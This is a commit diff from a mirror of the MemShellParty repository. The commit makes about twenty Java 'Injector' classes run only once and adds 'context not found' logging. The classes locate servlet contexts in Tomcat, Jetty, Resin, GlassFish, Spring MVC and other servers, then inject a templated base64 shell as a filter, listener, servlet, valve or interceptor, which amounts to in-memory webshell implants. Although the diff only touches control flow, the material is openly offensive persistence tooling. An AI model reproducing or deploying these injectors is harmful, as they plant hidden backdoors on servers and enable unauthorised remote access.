mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
perf: run only once
This commit is contained in:
+12
-3
@@ -7,7 +7,9 @@ import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -17,6 +19,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class ApusicFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -31,16 +34,21 @@ public class ApusicFilterInjector {
|
||||
}
|
||||
|
||||
public ApusicFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -49,6 +57,7 @@ public class ApusicFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+10
-3
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class ApusicListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -30,24 +31,30 @@ public class ApusicListenerInjector {
|
||||
}
|
||||
|
||||
public ApusicListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class ApusicServletInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -30,16 +31,21 @@ public class ApusicServletInjector {
|
||||
}
|
||||
|
||||
public ApusicServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -48,6 +54,7 @@ public class ApusicServletInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class BesFilterInjector {
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -30,16 +31,21 @@ public class BesFilterInjector {
|
||||
}
|
||||
|
||||
public BesFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -48,6 +54,7 @@ public class BesFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class BesListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -26,16 +27,21 @@ public class BesListenerInjector {
|
||||
}
|
||||
|
||||
public BesListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -44,6 +50,7 @@ public class BesListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class BesValveInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -25,16 +26,21 @@ public class BesValveInjector {
|
||||
}
|
||||
|
||||
public BesValveInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -43,6 +49,7 @@ public class BesValveInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class GlassFishFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -30,16 +31,21 @@ public class GlassFishFilterInjector {
|
||||
}
|
||||
|
||||
public GlassFishFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -48,6 +54,7 @@ public class GlassFishFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class GlassFishValveInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -26,16 +27,21 @@ public class GlassFishValveInjector {
|
||||
|
||||
|
||||
public GlassFishValveInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -44,6 +50,7 @@ public class GlassFishValveInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class InforSuiteFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -31,16 +32,21 @@ public class InforSuiteFilterInjector {
|
||||
}
|
||||
|
||||
public InforSuiteFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -49,6 +55,7 @@ public class InforSuiteFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+7
-2
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class JettyCustomizerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -28,6 +29,9 @@ public class JettyCustomizerInjector {
|
||||
}
|
||||
|
||||
public JettyCustomizerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Object channel = null;
|
||||
try {
|
||||
channel = getChannel();
|
||||
@@ -35,10 +39,10 @@ public class JettyCustomizerInjector {
|
||||
msg += "channel error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (channel == null) {
|
||||
msg += "channel is null";
|
||||
msg += "channel not found";
|
||||
} else {
|
||||
msg += ("channel: [" + channel + "] ");
|
||||
try {
|
||||
msg += ("channel: [" + channel + "] ");
|
||||
Object shell = getShell(channel);
|
||||
inject(channel, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -46,6 +50,7 @@ public class JettyCustomizerInjector {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class JettyFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -34,16 +35,21 @@ public class JettyFilterInjector {
|
||||
}
|
||||
|
||||
public JettyFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -52,6 +58,7 @@ public class JettyFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class JettyHandlerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -28,15 +29,20 @@ public class JettyHandlerInjector {
|
||||
}
|
||||
|
||||
public JettyHandlerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Object server = null;
|
||||
try {
|
||||
server = getServer();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "server error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (server != null) {
|
||||
msg += ("server: [" + server + "] ");
|
||||
if (server == null) {
|
||||
msg += "server not found";
|
||||
} else {
|
||||
try {
|
||||
msg += ("server: [" + server + "] ");
|
||||
Object shell = getShell(server);
|
||||
inject(server, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -44,6 +50,7 @@ public class JettyHandlerInjector {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -17,18 +17,24 @@ import java.util.zip.GZIPInputStream;
|
||||
public class JettyListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public JettyListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -37,6 +43,7 @@ public class JettyListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class JettyServletInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -32,16 +33,21 @@ public class JettyServletInjector {
|
||||
}
|
||||
|
||||
public JettyServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -50,6 +56,7 @@ public class JettyServletInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class ResinFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -29,16 +30,21 @@ public class ResinFilterInjector {
|
||||
}
|
||||
|
||||
public ResinFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -47,6 +53,7 @@ public class ResinFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class ResinListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -28,16 +29,21 @@ public class ResinListenerInjector {
|
||||
}
|
||||
|
||||
public ResinListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -46,6 +52,7 @@ public class ResinListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class ResinServletInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -30,16 +31,21 @@ public class ResinServletInjector {
|
||||
}
|
||||
|
||||
public ResinServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += "context: [" + getContextRoot(context) + "] ";
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -48,6 +54,7 @@ public class ResinServletInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+16
-7
@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class SpringWebMvcControllerHandlerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -31,20 +32,28 @@ public class SpringWebMvcControllerHandlerInjector {
|
||||
}
|
||||
|
||||
public SpringWebMvcControllerHandlerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Object context = null;
|
||||
try {
|
||||
context = getContext();
|
||||
} catch (Throwable e) {
|
||||
msg += "context error: " + getErrorMessage(e);
|
||||
}
|
||||
try {
|
||||
Object shell = getShell();
|
||||
msg += "context: [" + context + "] ";
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
if (context == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
try {
|
||||
Object shell = getShell();
|
||||
msg += "context: [" + context + "] ";
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+16
-7
@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class SpringWebMvcInterceptorInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -27,20 +28,28 @@ public class SpringWebMvcInterceptorInjector {
|
||||
}
|
||||
|
||||
public SpringWebMvcInterceptorInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Object context = null;
|
||||
try {
|
||||
context = getContext();
|
||||
} catch (Throwable e) {
|
||||
msg += "context error: " + getErrorMessage(e);
|
||||
}
|
||||
try {
|
||||
Object shell = getShell();
|
||||
msg += "context: [" + context + "] ";
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
if (context == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
try {
|
||||
Object shell = getShell();
|
||||
msg += "context: [" + context + "] ";
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+21
-15
@@ -18,18 +18,36 @@ import java.util.zip.GZIPInputStream;
|
||||
public class TomcatFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TomcatFilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -38,6 +56,7 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@@ -57,19 +76,6 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
/**
|
||||
* org.apache.catalina.core.StandardContext
|
||||
* /usr/local/tomcat/server/lib/catalina.jar
|
||||
|
||||
+10
-3
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class TomcatListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -25,24 +26,30 @@ public class TomcatListenerInjector {
|
||||
}
|
||||
|
||||
public TomcatListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += " [/*] ready\n";
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -19,18 +19,24 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
private Object rawValve;
|
||||
private Object proxyValve;
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public TomcatProxyValveInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
@@ -39,6 +45,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class TomcatServletInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -32,16 +33,21 @@ public class TomcatServletInjector {
|
||||
}
|
||||
|
||||
public TomcatServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
@@ -50,6 +56,7 @@ public class TomcatServletInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
public class TomcatValveInjector {
|
||||
|
||||
private String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -25,16 +26,21 @@ public class TomcatValveInjector {
|
||||
}
|
||||
|
||||
public TomcatValveInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
